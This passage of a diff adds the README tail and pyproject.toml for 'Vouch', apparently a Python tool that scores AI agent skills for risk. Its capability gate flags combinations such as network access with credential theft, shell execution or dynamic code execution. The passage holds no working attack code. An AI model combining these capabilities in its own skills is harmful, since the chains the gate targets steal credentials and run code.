≥ 55, yields `malicious`; ≥ 20 yields `suspicious`; otherwise `valid`.
|
|
222
|
+
|
|
223
|
+
### The capability gate (why `valid` is a filter, not a guarantee)
|
|
224
|
+
|
|
225
|
+
A clean rule sweep is **not** proof of safety. The dangerous minority of skills
|
|
226
|
+
are deliberately evasive multi-stage chains whose individual steps each look
|
|
227
|
+
benign — exactly what static analysis and a single LLM pass are weakest against.
|
|
228
|
+
So Vouch also gates on **capability composition**:
|
|
229
|
+
|
|
230
|
+
> A skill that exhibits a dangerous capability combination — **network +
|
|
231
|
+
> credential access**, **network + shell execution**, **network + dynamic code
|
|
232
|
+
> execution**, or the full **network + credentials + shell** chain — can **never
|
|
233
|
+
> return a clean `valid` from a static-only pass**, regardless of risk score. It
|
|
234
|
+
> is floored to `suspicious` with `review_required=true`.
|
|
235
|
+
|
|
236
|
+
That floor lifts **only** if the LLM auditor actually ran (`--llm` /
|
|
237
|
+
`CURSOR_API_KEY`) or a human explicitly signs off (`--sign-off`). Notably, if you
|
|
238
|
+
*asked* for the LLM but it wasn't available and the run degraded to static-only,
|
|
239
|
+
the gate **stays** — Vouch fails safe rather than handing out a false negative on
|
|
240
|
+
the precise profile you don't want to miss.
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
vouch ./my-skill --no-llm # dangerous combo -> suspicious (review required)
|
|
244
|
+
vouch ./my-skill --llm # LLM audit satisfies the gate
|
|
245
|
+
vouch ./my-skill --sign-off # human review satisfies the gate
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
The report exposes `capabilities`, `review_required`, and `review_reasons` so
|
|
249
|
+
callers can act on the gate programmatically.
|
|
250
|
+
|
|
251
|
+
## Project layout
|
|
252
|
+
|
|
253
|
+
```
|
|
254
|
+
src/vouch/
|
|
255
|
+
models.py # Verdict, Severity, Finding, Report, SkillInput
|
|
256
|
+
loader.py # directory / file / raw-text loading
|
|
257
|
+
rules.py # static analysis rule set
|
|
258
|
+
capabilities.py # capability inference (network/shell/creds/... )
|
|
259
|
+
llm.py # optional Cursor SDK auditor
|
|
260
|
+
engine.py # hybrid scoring + capability gate + public API
|
|
261
|
+
cv.py # Skill CV: capability inference + profile renderers
|
|
262
|
+
agent.py # Agent CV: discover + aggregate all of an agent's skills
|
|
263
|
+
cli.py # vouch (validation + --cv + --agent-cv)
|
|
264
|
+
mcp_server.py # MCP tools for agents (validate_* + skill_cv)
|
|
265
|
+
api.py # FastAPI HTTP endpoints (/validate/* + /cv/text)
|
|
266
|
+
examples/ # benign-skill/, malicious-skill/, example-agent/ fixtures
|
|
267
|
+
tests/ # pytest suite
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
## Development
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
pip install -e ".[dev]"
|
|
274
|
+
pytest -q
|
|
275
|
+
ruff check .
|
|
276
|
+
```
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=68", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "vouch-agent"
|
|
7
|
+
version = "0.3.0"
|
|
8
|
+
description = "Vouch — the trust layer for AI agents. Vet Skills and agents, profile them with CVs, and vouch only for the safe ones (hybrid static + LLM analysis)."
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.10"
|
|
11
|
+
license = { text = "MIT" }
|
|
12
|
+
authors = [{ name = "SKILLS_RGB" }]
|
|
13
|
+
keywords = [
|
|
14
|
+
"security",
|
|
15
|
+
"agents",
|
|
16
|
+
"skills",
|
|
17
|
+
"static-analysis",
|
|
18
|
+
"prompt-injection",
|
|
19
|
+
"skill-cv",
|
|
20
|
+
"agent-cv",
|
|
21
|
+
"vouch",
|
|
22
|
+
"mcp",
|
|
23
|
+
"cursor-sdk",
|
|
24
|
+
]
|
|
25
|
+
classifiers = [
|
|
26
|
+
"Development Status :: 3 - Alpha",
|
|
27
|
+
"Intended Audience :: Developers",
|
|
28
|
+
"License :: OSI Approved :: MIT License",
|
|
29
|
+
"Operating System :: OS Independent",
|
|
30
|
+
"Programming Language :: Python :: 3",
|
|
31
|
+
"Programming Language :: Python :: 3.10",
|
|
32
|
+
"Programming Language :: Python :: 3.11",
|
|
33
|
+
"Programming Language :: Python :: 3.12",
|
|
34
|
+
"Topic :: Security",
|
|
35
|
+
"Topic :: Software Development :: Quality Assurance",
|
|
36
|
+
"Typing :: Typed",
|
|
37
|
+
]
|
|
38
|
+
|
|
39
|
+
dependencies = []
|
|
40
|
+
|
|
41
|
+
[project.optional-dependencies]
|
|
42
|
+
api = ["fastapi>=0.110", "uvicorn>=0.29", "pydantic>=2"]
|
|
43
|
+
mcp = ["mcp>=1.2.0"]
|
|
44
|
+
llm = ["cursor-sdk>=0.1.0"]
|
|
45
|
+
dev = ["pytest>=8", "ruff>=0.5", "pillow>=10"]
|
|
46
|
+
all = [
|
|
47
|
+
"fastapi>=0.110",
|
|
48
|
+
"uvicorn>=0.29",
|
|
49
|
+
"pydantic>=2",
|
|
50
|
+
"mcp>=1.2.0",
|
|
51
|
+
"pytest>=8",
|
|
52
|
+
"ruff>=0.5",
|
|
53
|
+
]
|
|
54
|
+
|
|
55
|
+
[project.urls]
|
|
56
|
+
Homepage = "https://github.com/WaelAbouceo/vouch"
|
|
57
|
+
Repository = "https://github.com/WaelAbouceo/vouch"
|
|
58
|
+
Changelog = "https://github.com/WaelAbouceo/vouch/blob/main/CHANGELOG.md"
|
|
59
|
+
Issues = "https://github.com/WaelAbouceo/vouch/issues"
|
|
60
|
+
|
|
61
|
+
[project.scripts]
|
|
62
|
+
vouch = "vouch.cli:main"
|
|
63
|
+
vouch-api = "vouch.api:run"
|
|
64
|
+
vouch-mcp = "vouch.mcp_server:main"
|
|
65
|
+
|
|
66
|
+
[tool.setuptools.packages.find]
|
|
67
|
+
where = ["src"]
|
|
68
|
+
|
|
69
|
+
[tool.pytest.ini_options]
|
|
70
|
+
testpaths = ["tests"]
|
|
71
|
+
|
|
72
|
+
[tool.ruff]
|
|
73
|
+
line-length = 100
|
|
74
|
+
target-version = "py310"
|
|
75
|
+
|
|
76
|
+
[tool.ruff.lint]
|
|
77
|
+
# Pin an explicit rule set so linting is deterministic across ruff versions.
|
|
78
|
+
select = ["E", "F", "I", "W", "UP"]
|